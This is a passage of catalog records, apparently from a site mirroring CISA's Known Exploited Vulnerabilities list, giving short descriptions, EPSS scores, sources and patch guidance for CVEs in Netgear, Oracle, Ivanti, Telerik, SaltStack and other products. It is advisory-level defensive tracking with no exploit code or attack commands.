CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Netgear JGS516PE Devices Missing Function Level Access Control Vulnerability
https://kevwire.com/record/CVE-2020-26919
Netgear JGS516PE Devices Missing Function Level Access Control Vulnerability (Nov 3, 2021).
Netgear JGS516PE devices contain a missing function level access control vulnerability.
EPSS 57.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-26919&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-26919: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-26919&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Netis WF2419 Devices Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-19356
Netis WF2419 Devices Remote Code Execution Vulnerability (Nov 3, 2021).
Netis WF2419 devices contains an unspecified vulnerability that allows an attacker to perform remote code execution as root through the router's web management page.
EPSS 28.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-19356&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-19356: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-19356&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Multiple Products Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-2555
Oracle Multiple Products Remote Code Execution Vulnerability (Nov 3, 2021).
Multiple Oracle products contain a remote code execution vulnerability that allows an unauthenticated attacker with network access via T3 or HTTP to takeover the affected system. Impacted Oracle products: Oracle Coherence in Fusion Middleware, Oracle Utilities Framework, Oracle Retail Assortment Planning, Oracle Commerce, Oracle Communications Diameter Signaling Router (DSR).
EPSS 97.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2555&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-2555: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2555&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Fusion Middleware Unspecified Vulnerability
https://kevwire.com/record/CVE-2012-3152
Oracle Fusion Middleware Unspecified Vulnerability (Nov 3, 2021).
Oracle Fusion Middleware Reports Developer contains an unspecified vulnerability that allows remote attackers to affect confidentiality and integrity of affected systems.
EPSS 98.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-3152&date=2026-10-25).
Sources:
CISA KEV entry CVE-2012-3152: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-3152&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle Solaris and Zettabyte File System (ZFS) Unspecified Vulnerability
https://kevwire.com/record/CVE-2020-14871
Oracle Solaris and Zettabyte File System (ZFS) Unspecified Vulnerability (Nov 3, 2021).
Oracle Solaris and Oracle ZFS Storage Appliance Kit contain an unspecified vulnerability causing high impacts to confidentiality, integrity, and availability of affected systems.
EPSS 80.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-14871&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-14871: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-14871&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2015-4852
Oracle WebLogic Server Deserialization of Untrusted Data Vulnerability (Nov 3, 2021).
Oracle WebLogic Server contains a deserialization of untrusted data vulnerability within Apache Commons, which can allow for for remote code execution.
EPSS 95.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-4852&date=2026-10-25).
Sources:
CISA KEV entry CVE-2015-4852: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-4852&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-14750
Oracle WebLogic Server Remote Code Execution Vulnerability (Nov 3, 2021).
Oracle WebLogic Server contains an unspecified vulnerability allowing an unauthenticated attacker to perform remote code execution. This vulnerability is related to CVE-2020-14882.
EPSS 99.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-14750&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-14750: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-14750&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-14882
Oracle WebLogic Server Remote Code Execution Vulnerability (Nov 3, 2021).
Oracle WebLogic Server contains an unspecified vulnerability, which is assessed to allow for remote code execution, based on this vulnerability being related to CVE-2020-14750.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-14882&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-14882: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-14882&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server Unspecified Vulnerability
https://kevwire.com/record/CVE-2020-14883
Oracle WebLogic Server Unspecified Vulnerability (Nov 3, 2021).
Oracle WebLogic Server contains an unspecified vulnerability in the Console component with high impacts to confidentilaity, integrity, and availability.
EPSS 97.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-14883&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-14883: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-14883&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### PlaySMS Server-Side Template Injection Vulnerability
https://kevwire.com/record/CVE-2020-8644
PlaySMS Server-Side Template Injection Vulnerability (Nov 3, 2021).
PlaySMS contains a server-side template injection vulnerability that allows for remote code execution.
EPSS 86.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8644&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8644: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8644&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Progress Telerik UI for ASP.NET AJAX Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2019-18935
Progress Telerik UI for ASP.NET AJAX Deserialization of Untrusted Data Vulnerability (Nov 3, 2021).
Progress Telerik UI for ASP.NET AJAX contains a deserialization of untrusted data vulnerability through RadAsyncUpload which leads to code execution on the server in the context of the w3wp.exe process.
EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-18935&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-18935: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-18935&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Pulse Connect Secure Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-22893
Ivanti Pulse Connect Secure Use-After-Free Vulnerability (Nov 3, 2021).
Ivanti Pulse Connect Secure contains a use-after-free vulnerability that allow a remote, unauthenticated attacker to execute code via license services.
EPSS 47.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22893&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22893: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22893&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Pulse Connect Secure Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-8243
Ivanti Pulse Connect Secure Code Execution Vulnerability (Nov 3, 2021).
Ivanti Pulse Connect Secure contains an unspecified vulnerability in the admin web interface that could allow an authenticated attacker to upload a custom template to perform code execution.
EPSS 90.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8243&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8243: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8243&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Pulse Connect Secure Unrestricted File Upload Vulnerability
https://kevwire.com/record/CVE-2021-22900
Ivanti Pulse Connect Secure Unrestricted File Upload Vulnerability (Nov 3, 2021).
Ivanti Pulse Connect Secure contains an unrestricted file upload vulnerability that allows an authenticated administrator to perform a file write via a maliciously crafted archive upload in the administrator web interface.
EPSS 14.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22900&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22900: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22900&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Pulse Connect Secure Collaboration Suite Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-22894
Ivanti Pulse Connect Secure Collaboration Suite Buffer Overflow Vulnerability (Nov 3, 2021).
Ivanti Pulse Connect Secure Collaboration Suite contains a buffer overflow vulnerabilities that allows a remote authenticated users to execute code as the root user via maliciously crafted meeting room.
EPSS 41.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22894&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22894: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22894&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Pulse Connect Secure Code Execution Vulnerability
https://kevwire.com/record/CVE-2020-8260
Ivanti Pulse Connect Secure Code Execution Vulnerability (Nov 3, 2021).
Pulse Connect Secure contains an unspecified vulnerability that allows an authenticated attacker to perform code execution using uncontrolled gzip extraction.
EPSS 96.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8260&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-8260: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8260&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Pulse Connect Secure Command Injection Vulnerability
https://kevwire.com/record/CVE-2021-22899
Ivanti Pulse Connect Secure Command Injection Vulnerability (Nov 3, 2021).
Ivanti Pulse Connect Secure contains a command injection vulnerability that allows remote authenticated users to perform remote code execution via Windows File Resource Profiles.
EPSS 22.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22899&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-22899: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22899&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Pulse Connect Secure Arbitrary File Read Vulnerability
https://kevwire.com/record/CVE-2019-11510
Ivanti Pulse Connect Secure Arbitrary File Read Vulnerability (Nov 3, 2021).
Ivanti Pulse Connect Secure contains an arbitrary file read vulnerability that allows an unauthenticated remote attacker with network access via HTTPS to send a specially crafted URI.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11510&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-11510: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11510&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Pulse Connect Secure and Policy Secure Command Injection Vulnerability
https://kevwire.com/record/CVE-2019-11539
Ivanti Pulse Connect Secure and Policy Secure Command Injection Vulnerability (Nov 3, 2021).
Ivanti Pulse Connect Secure and Policy Secure allows an authenticated attacker from the admin web interface to inject and execute commands.
EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11539&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-11539: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11539&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Detection of Error Condition Without Action Vulnerability
https://kevwire.com/record/CVE-2021-1906
Qualcomm Multiple Chipsets Detection of Error Condition Without Action Vulnerability (Nov 3, 2021).
Multiple Qualcomm chipsets contain a detection of error condition without action vulnerability when improper handling of address deregistration on failure can lead to new GPU address allocation failure.
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1906&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1906: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1906&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Qualcomm Multiple Chipsets Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2021-1905
Qualcomm Multiple Chipsets Use-After-Free Vulnerability (Nov 3, 2021).
Multiple Qualcomm Chipsets contain a use after free vulnerability due to improper handling of memory mapping of multiple processes simultaneously.
EPSS 1.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1905&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1905: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1905&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### rConfig OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2020-10221
rConfig OS Command Injection Vulnerability (Nov 3, 2021).
rConfig lib/ajaxHandlers/ajaxAddTemplate.php contains an OS command injection vulnerability that allows remote attackers to execute OS commands via shell metacharacters in the fileName POST parameter.
EPSS 77.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-10221&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-10221: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-10221&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Realtek AP-Router SDK Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2021-35395
Realtek AP-Router SDK Buffer Overflow Vulnerability (Nov 3, 2021).
Realtek AP-Router SDK HTTP web server boa contains a buffer overflow vulnerability due to unsafe copies of some overly long parameters submitted in the form that lead to denial-of-service (DoS).
EPSS 98.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-35395&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-35395: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-35395&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date Nov 17, 2021. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Roundcube Webmail File Disclosure Vulnerability
https://kevwire.com/record/CVE-2017-16651
Roundcube Webmail File Disclosure Vulnerability (Nov 3, 2021).
Roundcube Webmail contains a file disclosure vulnerability caused by insufficient input validation in conjunction with file-based attachment plugins, which are used by default.
EPSS 45.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-16651&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-16651: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-16651&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SaltStack Salt Path Traversal Vulnerability
https://kevwire.com/record/CVE-2020-11652
SaltStack Salt Path Traversal Vulnerability (Nov 3, 2021).
SaltStack Salt contains a path traversal vulnerability in the salt-master process ClearFuncs which allows directory access to authenticated users. Salt users who follow fundamental internet security guidelines and best practices are not affected by this vulnerability.
EPSS 86.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-11652&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-11652: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-11652&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SaltStack Salt Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2020-11651
SaltStack Salt Authentication Bypass Vulnerability (Nov 3, 2021).
SaltStack Salt contains an authentication bypass vulnerability in the salt-master process ClearFuncs due to improperly validating method calls. The vulnerability allows a remote user to access some methods without authentication, which can be used to retrieve user tokens from the salt master and/or run commands on salt minions. Salt users who follow fundamental internet security guidelines and best practices are not affected by this vulnerability.
EPSS 96.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-11651&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-11651: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-11651&date=2026-10-25
CISA added this entry on 2021-11-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Nov 3, 2021; federal due date May 3, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### SaltStack Salt Shell Injection Vulnerability
https://kevwire.com/record/CVE-2020-16846
SaltStack Salt Shell Injection Vulnerability (Nov 3, 2021).
